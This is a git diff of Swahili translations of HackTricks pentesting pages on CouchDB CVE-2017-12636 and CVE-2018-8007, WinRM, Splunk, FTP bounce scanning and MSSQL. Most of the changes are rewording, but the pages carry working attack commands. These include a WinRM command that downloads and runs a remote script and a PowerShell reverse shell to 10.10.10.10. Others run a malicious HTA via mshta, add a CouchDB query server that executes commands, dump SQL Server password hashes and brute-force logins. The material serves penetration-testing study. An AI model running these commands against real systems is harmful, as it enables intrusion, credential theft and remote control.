Inabainisha mbinu za kutumia keki za Erlang kwa njia zisizoidhinishwa ili kupata udhibiti wa mifumo. Unaweza [**kuchunguza mwongozo wa kina juu ya kutumia keki za Erlang kwa RCE hapa**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). ### **Kutatua CVE-2018-8007 kupitia Marekebisho ya local.ini** Mfano [kutoka hapa](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -Uthibitisho wa hivi karibuni wa udhaifu, CVE-2018-8007, unaoathiri Apache CouchDB ulifanyiwa uchambuzi, ukionyesha kuwa matumizi yanahitaji ruhusa za kuandika kwenye faili `local.ini`. Ingawa si moja kwa moja inatumika kwa mfumo wa lengo la awali kutokana na vizuizi vya usalama, marekebisho yalifanywa ili kutoa ufikiaji wa kuandika kwenye faili `local.ini` kwa ajili ya kusoma. Hatua za kina na mifano ya msimbo zinatolewa hapa chini, zikionyesha mchakato. +Uthibitisho wa hivi karibuni wa udhaifu, CVE-2018-8007, unaoathiri Apache CouchDB ulifanyiwa uchambuzi, ukionyesha kwamba matumizi yanahitaji ruhusa za kuandika kwenye faili `local.ini`. Ingawa si moja kwa moja inatumika kwa mfumo wa lengo la awali kutokana na vizuizi vya usalama, marekebisho yalifanywa ili kutoa ufikiaji wa kuandika kwenye faili `local.ini` kwa ajili ya uchunguzi. Hatua za kina na mifano ya msimbo zinatolewa hapa chini, zikionyesha mchakato. Kwanza, mazingira yanaandaliwa kwa kuhakikisha faili `local.ini` inaweza kuandikwa, ikithibitishwa kwa kuorodhesha ruhusa: ```bash @@ -166,15 +166,15 @@ root@canape:/home/homer/etc# kill 711 root@canape:/home/homer/etc# ls /tmp/0xdf /tmp/0xdf ``` -Uchunguzi huu unathibitisha uwezekano wa unyakuzi wa CVE-2018-8007 chini ya hali maalum, hasa hitaji la ufikiaji wa kuandika kwenye faili `local.ini`. Mifano ya msimbo iliyotolewa na hatua za utaratibu zinatoa mwongozo wazi wa kuiga unyakuzi katika mazingira yaliyodhibitiwa. +Uchunguzi huu unathibitisha uwezekano wa unyakuzi wa CVE-2018-8007 chini ya hali maalum, hasa hitaji la ufikiaji wa kuandika kwenye faili ya `local.ini`. Mifano ya msimbo iliyotolewa na hatua za utaratibu zinatoa mwongozo wazi wa kurudia unyakuzi katika mazingira yaliyodhibitiwa. -Kwa maelezo zaidi kuhusu CVE-2018-8007, rejea kwenye taarifa ya mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). +Kwa maelezo zaidi kuhusu CVE-2018-8007, rejelea taarifa kutoka mdsec: [CVE-2018-8007](https://www.mdsec.co.uk/2018/08/advisory-cve-2018-8007-apache-couchdb-remote-code-execution/). ### **Kuchunguza CVE-2017-12636 na Ruhusa za Kuandika kwenye local.ini** Mfano [kutoka hapa](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -Ukiukaji unaojulikana kama CVE-2017-12636 ulifanyiwa uchunguzi, ambao unaruhusu utekelezaji wa msimbo kupitia mchakato wa CouchDB, ingawa usanidi maalum unaweza kuzuia unyakuzi wake. Licha ya marejeleo mengi ya Ushahidi wa Dhihirisho (POC) yanayopatikana mtandaoni, marekebisho yanahitajika ili kuweza kutumia ukiukaji huu kwenye toleo la CouchDB 2, tofauti na toleo linalolengwa mara nyingi la 1.x. Hatua za awali zinajumuisha kuthibitisha toleo la CouchDB na kuthibitisha kutokuwepo kwa njia ya seva za uchunguzi zinazotarajiwa: +Ukiukaji unaojulikana kama CVE-2017-12636 ulifanyiwa uchunguzi, ambao unaruhusu utekelezaji wa msimbo kupitia mchakato wa CouchDB, ingawa usanidi maalum unaweza kuzuia unyakuzi wake. Licha ya marejeleo mengi ya Ushahidi wa Dhana (POC) yanayopatikana mtandaoni, marekebisho yanahitajika ili kunyakuzi ukiukaji huu kwenye toleo la CouchDB 2, tofauti na toleo linalolengwa mara nyingi 1.x. Hatua za awali zinajumuisha kuthibitisha toleo la CouchDB na kuthibitisha kutokuwepo kwa njia ya seva za uchunguzi zinazotarajiwa: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ @@ -193,7 +193,7 @@ Uchunguzi zaidi ulibaini matatizo ya ruhusa na faili ya `local.ini`, ambayo haik cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b chmod 666 /home/homer/etc/local.ini ``` -Majaribio ya baadaye ya kuongeza seva ya uchunguzi yalifanikiwa, kama inavyoonyeshwa na ukosefu wa ujumbe wa makosa katika jibu. Marekebisho ya mafanikio ya faili `local.ini` yalithibitishwa kupitia kulinganisha faili: +Majaribio ya baadaye ya kuongeza seva ya uchunguzi yalifanikiwa, kama inavyoonyeshwa na ukosefu wa ujumbe wa makosa katika jibu. Marekebisho ya mafanikio ya faili ya `local.ini` yalithibitishwa kupitia kulinganisha faili: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` @@ -212,7 +212,7 @@ A [**muhtasari**](https://github.com/carlospolop/hacktricks/pull/116/commits/e50 - `port:5984 couchdb` -## Marejeo +## Marejeleo - [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) - [https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution](https://0xdf.gitlab.io/2018/09/15/htb-canape.html#couchdb-execution) diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index 19dbcec53..979695f40 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -4,70 +4,70 @@ ## WinRM -[Windows Remote Management (WinRM)]() inasisitizwa kama **protokali na Microsoft** inayowezesha **usimamizi wa mbali wa mifumo ya Windows** kupitia HTTP(S), ikitumia SOAP katika mchakato. Kimsingi inategemea WMI, ikijitambulisha kama kiolesura cha HTTP kwa operesheni za WMI. +[Windows Remote Management (WinRM)]() inasisitizwa kama **protokali na Microsoft** inayowezesha **usimamizi wa mbali wa mifumo ya Windows** kupitia HTTP(S), ikitumia SOAP katika mchakato. Kimsingi inategemea WMI, ikijitokeza kama kiolesura cha HTTP kwa shughuli za WMI. Uwepo wa WinRM kwenye mashine unaruhusu usimamizi wa mbali kwa urahisi kupitia PowerShell, kama ilivyo kwa SSH kwa mifumo mingine ya uendeshaji. Ili kubaini ikiwa WinRM inafanya kazi, inashauriwa kuangalia ufunguzi wa bandari maalum: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** -Bandari iliyo wazi kutoka kwenye orodha hapo juu inaashiria kwamba WinRM imewekwa, hivyo kuruhusu majaribio ya kuanzisha kikao cha mbali. +Bandari iliyo wazi kutoka orodha hapo juu inaashiria kuwa WinRM imewekwa, hivyo kuruhusu majaribio ya kuanzisha kikao cha mbali. -### **Kuanzisha Kikao cha WinRM** +### **Kuanza Kikao cha WinRM** -Ili kuunda PowerShell kwa WinRM, cmdlet ya Microsoft `Enable-PSRemoting` inakuja katika hatua, ikiseti kompyuta ili kukubali amri za mbali za PowerShell. Kwa ufikiaji wa juu wa PowerShell, amri zifuatazo zinaweza kutekelezwa ili kuwezesha kazi hii na kutaja mwenyeji yeyote kama wa kuaminika: -```powershell +Ili kuunda PowerShell kwa WinRM, cmdlet ya Microsoft `Enable-PSRemoting` inakuja katika hatua, ikiseti kompyuta kukubali amri za PowerShell za mbali. Kwa ufikiaji wa juu wa PowerShell, amri zifuatazo zinaweza kutekelezwa ili kuwezesha kazi hii na kutaja mwenyeji yeyote kama wa kuaminika: +```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -Njia hii inahusisha kuongeza wildcard kwenye usanidi wa `trustedhosts`, hatua ambayo inahitaji kuzingatia kwa makini kutokana na athari zake. Pia inabainishwa kwamba kubadilisha aina ya mtandao kutoka "Public" hadi "Work" inaweza kuwa muhimu kwenye mashine ya mshambuliaji. +Njia hii inahusisha kuongeza wildcard kwenye usanidi wa `trustedhosts`, hatua ambayo inahitaji kuzingatiwa kwa makini kutokana na athari zake. Pia inabainishwa kwamba kubadilisha aina ya mtandao kutoka "Public" hadi "Work" inaweza kuwa muhimu kwenye mashine ya mshambuliaji. Zaidi ya hayo, WinRM inaweza ku **anzishwa kwa mbali** kwa kutumia amri ya `wmic`, kama inavyoonyeshwa hapa: -```powershell +```bash wmic /node: process call create "powershell enable-psremoting -force" ``` Hii mbinu inaruhusu kuweka WinRM kwa mbali, ikiongeza ufanisi katika kusimamia mashine za Windows kutoka mbali. ### Jaribu ikiwa imewekwa -Ili kuthibitisha usanidi wa mashine yako ya shambulio, amri ya `Test-WSMan` inatumika kuangalia ikiwa lengo lina WinRM imewekwa ipasavyo. Kwa kutekeleza amri hii, unapaswa kutarajia kupokea maelezo kuhusu toleo la itifaki na wsmid, ikionyesha usanidi uliofanikiwa. Hapa chini kuna mifano inayoonyesha matokeo yanayotarajiwa kwa lengo lililo na usanidi dhidi ya lile lisilo na usanidi: +Ili kuthibitisha usanidi wa mashine yako ya shambulio, amri ya `Test-WSMan` inatumika kuangalia ikiwa lengo lina WinRM imewekwa ipasavyo. Kwa kutekeleza amri hii, unapaswa kutarajia kupokea maelezo kuhusu toleo la protokali na wsmid, ikionyesha usanidi uliofanikiwa. Hapa chini kuna mifano inayoonyesha matokeo yanayotarajiwa kwa lengo lililo na usanidi dhidi ya lile lisilo na usanidi: - Kwa lengo ambalo **lime**wekwa ipasavyo, matokeo yataonekana kama ifuatavyo: ```bash Test-WSMan ``` -Jibu linapaswa kuwa na habari kuhusu toleo la itifaki na wsmid, ikionyesha kwamba WinRM imewekwa vizuri. +Majibu yanapaswa kuwa na habari kuhusu toleo la itifaki na wsmid, ikionyesha kwamba WinRM imewekwa vizuri. ![](<../images/image (582).png>) -- Kinyume chake, kwa lengo **sio** lililowekwa kwa WinRM, matokeo yatakuwa hakuna habari kama hiyo ya kina, ikionyesha ukosefu wa usanidi mzuri wa WinRM. +- Kinyume chake, kwa lengo **sio** lililowekwa kwa WinRM, hiyo itasababisha kutokuwepo kwa habari kama hizo za kina, ikionyesha ukosefu wa usanidi mzuri wa WinRM. ![](<../images/image (458).png>) ### Teua amri Ili kutekeleza `ipconfig` kwa mbali kwenye mashine ya lengo na kuona matokeo yake fanya: -```powershell +```bash Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username] ``` ![](<../images/image (151).png>) -Unaweza pia **kutekeleza amri ya console yako ya PS ya sasa kupitia** _**Invoke-Command**_. Fikiria kwamba una kazi inayoitwa _**enumeration**_ kwenye kompyuta yako ya ndani na unataka **kuitekeleza kwenye kompyuta ya mbali**, unaweza kufanya: -```powershell +Unaweza pia **kutekeleza amri ya console yako ya PS ya sasa kupitia** _**Invoke-Command**_. Fikiria kwamba una kazi inayoitwa _**enumeration**_ kwenye kompyuta yako na unataka **kuitekeleza kwenye kompyuta ya mbali**, unaweza kufanya: +```bash Invoke-Command -ComputerName -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"] ``` ### Teua Skripti -```powershell +```bash Invoke-Command -ComputerName -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta] ``` ### Pata reverse-shell -```powershell +```bash Invoke-Command -ComputerName -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"} ``` ### Pata kikao cha PS -Ili kupata shell ya PowerShell ya kuingiliana tumia `Enter-PSSession`: -```powershell +Ili kupata shell ya PowerShell ya mwingiliano tumia `Enter-PSSession`: +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -87,16 +87,16 @@ Exit-PSSession # This will leave it in background if it's inside an env var (New **Kikao kitaendesha katika mchakato mpya (wsmprovhost) ndani ya "mhasiriwa"** -### **Kulazimisha WinRM Kufunguka** +### **Kulazimisha WinRM Kufunguliwa** -Ili kutumia PS Remoting na WinRM lakini kompyuta haijasanidiwa, unaweza kuifungua kwa: -```powershell +Ili kutumia PS Remoting na WinRM lakini kompyuta haijawekwa, unaweza kuikamilisha kwa: +```bash .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force" ``` ### Saving and Restoring sessions Hii **haitaweza kufanya kazi** ikiwa **lugha** ime **punguzia** kwenye kompyuta ya mbali. -```powershell +```bash #If you need to use different creds $password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force ## Note the ".\" in the suername to indicate it's a local user (host domain) @@ -107,8 +107,8 @@ $sess1 = New-PSSession -ComputerName [-SessionOption (New-PSSessi #And restore it at any moment doing Enter-PSSession -Session $sess1 ``` -Ndani ya kikao hiki unaweza kupakia PS scripts ukitumia _Invoke-Command_ -```powershell +Katika kikao hiki unaweza kupakia skripti za PS ukitumia _Invoke-Command_ +```bash Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1 ``` ### Makosa @@ -126,7 +126,7 @@ winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}' ### Brute Force -Kuwa makini, brute-forcing winrm inaweza kuzuia watumiaji. +Kuwa makini, brute-forcing winrm kunaweza kuzuia watumiaji. ```ruby #Brute force crackmapexec winrm -d -u usernames.txt -p passwords.txt @@ -142,7 +142,7 @@ crackmapexec winrm -d -u -H -X '$PSVersionT ```ruby gem install evil-winrm ``` -Soma **nyaraka** kwenye github yake: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) +Soma **nyaraka** zake kwenye github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm) ```ruby evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.' -i / ``` @@ -160,7 +160,7 @@ docker run -it quickbreach/powershell-ntlm $creds = Get-Credential Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds ``` -### Kutumia skripti ya ruby +### Kutumia script ya ruby **Msimbo umetolewa kutoka hapa:** [**https://alamot.github.io/winrm_shell/**](https://alamot.github.io/winrm_shell/) ```ruby diff --git a/src/network-services-pentesting/8089-splunkd.md b/src/network-services-pentesting/8089-splunkd.md index 43e898ee1..436c25118 100644 --- a/src/network-services-pentesting/8089-splunkd.md +++ b/src/network-services-pentesting/8089-splunkd.md @@ -2,12 +2,12 @@ {{#include ../banners/hacktricks-training.md}} -## **Taarifa za Msingi** +## **Msingi wa Taarifa** - Zana ya uchambuzi wa log inayotumika kwa ukusanyaji wa data, uchambuzi, na uonyeshaji - Inatumika sana katika ufuatiliaji wa usalama na uchambuzi wa biashara - Bandari za kawaida: -- Web server: 8000 +- Seva ya wavuti: 8000 - Huduma ya Splunkd: 8089 ### Njia za Uthibitishaji wa Uthibitisho: @@ -17,19 +17,19 @@ - Toleo la majaribio linabadilishwa kiotomatiki kuwa toleo la bure baada ya siku 60 - Toleo la bure halina uthibitisho - Hatari ya usalama ikiwa halitashughulikiwa -- Wasimamizi wanaweza kupuuzilia mbali athari za usalama +- Wasimamizi wanaweza kupuuza athari za usalama 2. Udhaifu wa Akreditivu - Toleo za zamani: Akreditivu za kawaida `admin:changeme` -- Toleo za kisasa: Akreditivu zinawekwa wakati wa usakinishaji +- Toleo za kisasa: Akreditivu huwekwa wakati wa usakinishaji - Uwezekano wa matumizi ya nywila dhaifu (mfano, `admin`, `Welcome`, `Password123`) -3. Fursa za Utekelezaji wa Kanuni za Kijijini +3. Fursa za Utekelezaji wa Msimbo wa Kijijini -- Njia nyingi za utekelezaji wa kanuni: +- Njia nyingi za utekelezaji wa msimbo: - Programu za Django upande wa seva -- Mipaka ya REST +- Ncha za REST - Ingizo la skripti - Skripti za arifa - Msaada wa majukwaa tofauti (Windows/Linux) @@ -42,8 +42,8 @@ Uwezekano wa Ukatili Muhimu: - Hifadhi ya data nyeti - Ukosefu wa uthibitisho katika toleo la bure -- Njia nyingi za uwezekano wa utekelezaji wa kanuni za kijijini -- Uwezekano wa kutumia ingizo la skripti kwa ajili ya kuathiri mfumo +- Njia nyingi za uwezekano wa utekelezaji wa msimbo wa kijijini +- Uwezekano wa kutumia ingizo la skripti kwa kuathiri mfumo ### Shodan @@ -53,9 +53,9 @@ Uwezekano wa Ukatili Muhimu: ### Unda Programu Maalum -Splunk inatoa njia ya kisasa ya utekelezaji wa kanuni za kijijini kupitia usambazaji wa programu maalum, ikitumia uwezo wake wa skripti wa majukwaa tofauti. Mbinu ya msingi ya ukatili inahusisha kuunda programu mbaya inayoweza kutekeleza shell za kurudi kwenye mifumo ya Windows na Linux. +Splunk inatoa njia ya kisasa ya utekelezaji wa msimbo wa kijijini kupitia usambazaji wa programu maalum, ikitumia uwezo wake wa skripti za majukwaa tofauti. Mbinu ya msingi ya ukatili inahusisha kuunda programu mbaya inayoweza kutekeleza shell za kinyume kwenye mifumo ya Windows na Linux. -Programu maalum inaweza kukimbia **Python, Batch, Bash, au PowerShell scripts**. Zaidi ya hayo, **Splunk inakuja na Python iliyosakinishwa**, hivyo hata katika mifumo ya **Windows** utaweza kukimbia kanuni za python. +Programu maalum inaweza kukimbia **Python, Batch, Bash, au PowerShell scripts**. Zaidi ya hayo, **Splunk inakuja na Python iliyosakinishwa**, hivyo hata katika mifumo ya **Windows** utaweza kukimbia msimbo wa python. Unaweza kutumia [**hii**](https://github.com/0xjpuff/reverse_shell_splunk) mfano na **`bin`** inayojumuisha mfano wa [Python](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/rev.py) na [PowerShell](https://github.com/0xjpuff/reverse_shell_splunk/blob/master/reverse_shell_splunk/bin/run.ps1). Au unaweza kuunda yako mwenyewe. @@ -73,13 +73,13 @@ Faili muhimu la usanidi `inputs.conf` linawezesha skripti kwa: Kuweka ni rahisi: -1. Tengeneza kifurushi cha programu chenye madhara +1. Tengeneza kifurushi cha programu mbaya 2. Weka msikilizaji (Netcat/socat) kwenye mashine ya kushambulia 3. Pakia programu kupitia kiolesura cha Splunk 4. Washa utekelezaji wa skripti kiotomatiki baada ya kupakia Mfano wa Windows PowerShell reverse shell: -```powershell +```bash $client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443); $stream = $client.GetStream(); [byte[]]$bytes = 0..65535|%{0}; @@ -105,7 +105,7 @@ pty.spawn('/bin/bash') ``` ### RCE & Privilege Escalation -Katika ukurasa ufuatao unaweza kupata maelezo jinsi huduma hii inaweza kutumika vibaya ili kupandisha mamlaka na kupata kudumu: +Katika ukurasa ufuatao unaweza kupata maelezo jinsi huduma hii inaweza kutumika vibaya ili kupandisha hadhi na kupata kudumu: {{#ref}} ../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md diff --git a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md index edc856c39..5978d4498 100644 --- a/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md +++ b/src/network-services-pentesting/pentesting-ftp/ftp-bounce-attack.md @@ -6,24 +6,24 @@ ### Manual -1. Unganisha kwenye FTP iliyo hatarini -2. Tumia \*\*`PORT`\*\* au **`EPRT`** (lakini moja tu kati yao) ili kuanzisha muunganisho na _\_ unayotaka kuchunguza: +1. Unganisha na FTP iliyo hatarini +2. Tumia **`PORT`** au **`EPRT`** (lakini moja tu kati yao) ili kuanzisha muunganisho na _\_ unayotaka kuskan: `PORT 172,32,80,80,0,8080`\ `EPRT |2|172.32.80.80|8080|` -3. Tumia **`LIST`** (hii itatuma tu kwa _\_ iliyounganishwa orodha ya faili za sasa katika folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii ina maana kwamba port iko wazi) au `425 No connection established` (Hii ina maana kwamba port imefungwa) +3. Tumia **`LIST`** (hii itatuma tu kwa _\_ iliyounganishwa orodha ya faili za sasa katika folda ya FTP) na angalia majibu yanayowezekana: `150 File status okay` (Hii ina maana kwamba bandari iko wazi) au `425 No connection established` (Hii ina maana kwamba bandari imefungwa) 1. Badala ya `LIST` unaweza pia kutumia **`RETR /file/in/ftp`** na kutafuta majibu yanayofanana ya `Open/Close`. -Mfano Ukifanya Kazi na **PORT** (port 8080 ya 172.32.80.80 iko wazi na port 7777 imefungwa): +Mfano Ukitumia **PORT** (bandari 8080 ya 172.32.80.80 iko wazi na bandari 7777 imefungwa): ![](<../../images/image (241).png>) -Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa kwenye picha): +Mfano sawa ukitumia **`EPRT`** (uthibitisho umeachwa nje katika picha): ![](<../../images/image (539).png>) -Port wazi ukitumia `EPRT` badala ya `LIST` (mazingira tofauti) +Bandari wazi ukitumia `EPRT` badala ya `LIST` (mazingira tofauti) ![](<../../images/image (875).png>) diff --git a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md index e8a65ec25..eeab22e51 100644 --- a/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md +++ b/src/network-services-pentesting/pentesting-mssql-microsoft-sql-server/README.md @@ -6,7 +6,7 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): -> **Microsoft SQL Server** ni mfumo wa usimamizi wa **relational database** ulioendelezwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyohitajika na programu nyingine za programu—ambazo zinaweza kukimbia kwenye kompyuta hiyo hiyo au kwenye kompyuta nyingine kupitia mtandao (ikiwemo Internet). +> **Microsoft SQL Server** ni mfumo wa usimamizi wa **relational database** ulioendelezwa na Microsoft. Kama seva ya database, ni bidhaa ya programu yenye kazi kuu ya kuhifadhi na kurejesha data kama inavyohitajika na programu nyingine za programu—ambazo zinaweza kukimbia kwenye kompyuta hiyo hiyo au kwenye kompyuta nyingine kupitia mtandao (ikiwemo Intaneti). **Default port:** 1433 ``` @@ -16,8 +16,8 @@ From [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server): - **master Database**: Hii database ni muhimu kwani inachukua maelezo yote ya kiwango cha mfumo kwa mfano wa SQL Server. - **msdb Database**: SQL Server Agent inatumia hii database kusimamia ratiba za arifa na kazi. -- **model Database**: Inatumika kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa. -- **Resource Database**: Database isiyo na uwezo wa kuandikwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika Resource database, vinawasilishwa kimaadili katika schema ya sys ya kila database. +- **model Database**: Inafanya kazi kama mpango wa kila database mpya kwenye mfano wa SQL Server, ambapo mabadiliko yoyote kama ukubwa, collation, mfano wa urejeleaji, na mengineyo yanaakisiwa katika databases mpya zinazoundwa. +- **Resource Database**: Hii ni database isiyo na uwezo wa kuandikwa ambayo ina vitu vya mfumo vinavyokuja na SQL Server. Vitu hivi, ingawa vinahifadhiwa kimwili katika database ya Resource, vinawasilishwa kimaadili katika schema ya sys ya kila database. - **tempdb Database**: Inatumika kama eneo la kuhifadhi la muda kwa vitu vya muda au seti za matokeo za kati. ## Enumeration @@ -30,9 +30,9 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config msf> use auxiliary/scanner/mssql/mssql_ping ``` > [!NOTE] -> Ikiwa **huna** **akreditif** unaweza kujaribu kuzikisia. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo. +> Ikiwa **huna** **vithibitisho** unaweza kujaribu kuvihisi. Unaweza kutumia nmap au metasploit. Kuwa makini, unaweza **kuzuia akaunti** ikiwa unashindwa kuingia mara kadhaa ukitumia jina la mtumiaji lililopo. -#### Metasploit (inahitaji akreditif) +#### Metasploit (inahitaji vithibitisho) ```bash #Set USERNAME, RHOSTS and PASSWORD #Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used @@ -155,14 +155,14 @@ SELECT * FROM sysusers ``` #### Pata Ruhusa -1. **Securable:** Mambo yanayofafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa ajili ya udhibiti wa ufikiaji. Hizi zimegawanywa katika: -- **Server** – Mifano ni pamoja na databases, logins, endpoints, availability groups, na server roles. -- **Database** – Mifano inajumuisha database role, application roles, schema, certificates, full text catalogs, na watumiaji. -- **Schema** – Inajumuisha tables, views, procedures, functions, synonyms, n.k. -2. **Permission:** Inahusishwa na SQL Server securables, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili: +1. **Securable:** Imefafanuliwa kama rasilimali zinazodhibitiwa na SQL Server kwa udhibiti wa ufikiaji. Hizi zimeainishwa katika: +- **Server** – Mifano ni pamoja na hifadhidata, logins, endpoints, vikundi vya upatikanaji, na majukumu ya server. +- **Database** – Mifano inajumuisha jukumu la hifadhidata, majukumu ya programu, muundo, vyeti, katalogi za maandiko kamili, na watumiaji. +- **Schema** – Inajumuisha meza, maoni, taratibu, kazi, maneno ya kifupi, nk. +2. **Permission:** Inahusishwa na securables za SQL Server, ruhusa kama ALTER, CONTROL, na CREATE zinaweza kutolewa kwa principal. Usimamizi wa ruhusa unafanyika katika ngazi mbili: - **Server Level** kwa kutumia logins - **Database Level** kwa kutumia watumiaji -3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa database. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika roles zilizo na haki za ufikiaji. +3. **Principal:** Neno hili linarejelea chombo ambacho kinapewa ruhusa kwa securable. Principals hasa ni pamoja na logins na watumiaji wa hifadhidata. Udhibiti wa ufikiaji kwa securables unatekelezwa kupitia utoaji au kukataa ruhusa au kwa kujumuisha logins na watumiaji katika majukumu yaliyo na haki za ufikiaji. ```sql # Show all different securables names SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT); @@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell' ### Execute OS Commands > [!CAUTION] -> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye `xp_cmdshell` stored procedure**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa: +> Kumbuka kwamba ili uweze kutekeleza amri si tu inahitajika kuwa na **`xp_cmdshell`** **imewezeshwa**, bali pia kuwa na **idhini ya EXECUTE kwenye utaratibu wa kuhifadhi `xp_cmdshell`**. Unaweza kupata nani (isipokuwa sysadmins) anaweza kutumia **`xp_cmdshell`** kwa: > > ```sql > Use master @@ -234,6 +234,10 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho # Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate ``` +### Pata nywila zilizohashwa +```bash +SELECT * FROM master.sys.syslogins; +``` ### Kununua NetNTLM hash / Shambulio la Relay Unapaswa kuanzisha **SMB server** ili kukamata hash inayotumika katika uthibitishaji (`impacket-smbserver` au `responder` kwa mfano). @@ -260,7 +264,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` > [!WARNING] -> Unaweza kuangalia ni nani (mbali na sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa kutumia: +> Unaweza kuangalia ni nani (bila ya sysadmins) ana ruhusa ya kuendesha hizo kazi za MSSQL kwa kutumia: > > ```sql > Use master; @@ -278,7 +282,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika: ### Kutumia Viungo vya Kuaminika vya MSSQL -[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:** +[**Soma chapisho hili**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **ili kupata maelezo zaidi kuhusu jinsi ya kutumia kipengele hiki:** {{#ref}} ../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -286,7 +290,7 @@ Unaweza kuona jinsi ya kutumia zana hizi katika: ### **Andika Faili** -Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuwezesha** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili: +Ili kuandika faili kwa kutumia `MSSQL`, tunahitaji **kuiwezesha** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), ambayo inahitaji ruhusa za admin, na kisha kutekeleza baadhi ya taratibu zilizohifadhiwa ili kuunda faili: ```bash # Enable Ole Automation Procedures sp_configure 'show advanced options', 1 @@ -306,7 +310,7 @@ EXECUTE sp_OADestroy @OLE ``` ### **Soma faili na** OPENROWSET -Kwa default, `MSSQL` inaruhusu kusoma faili **katika faili yoyote katika mfumo 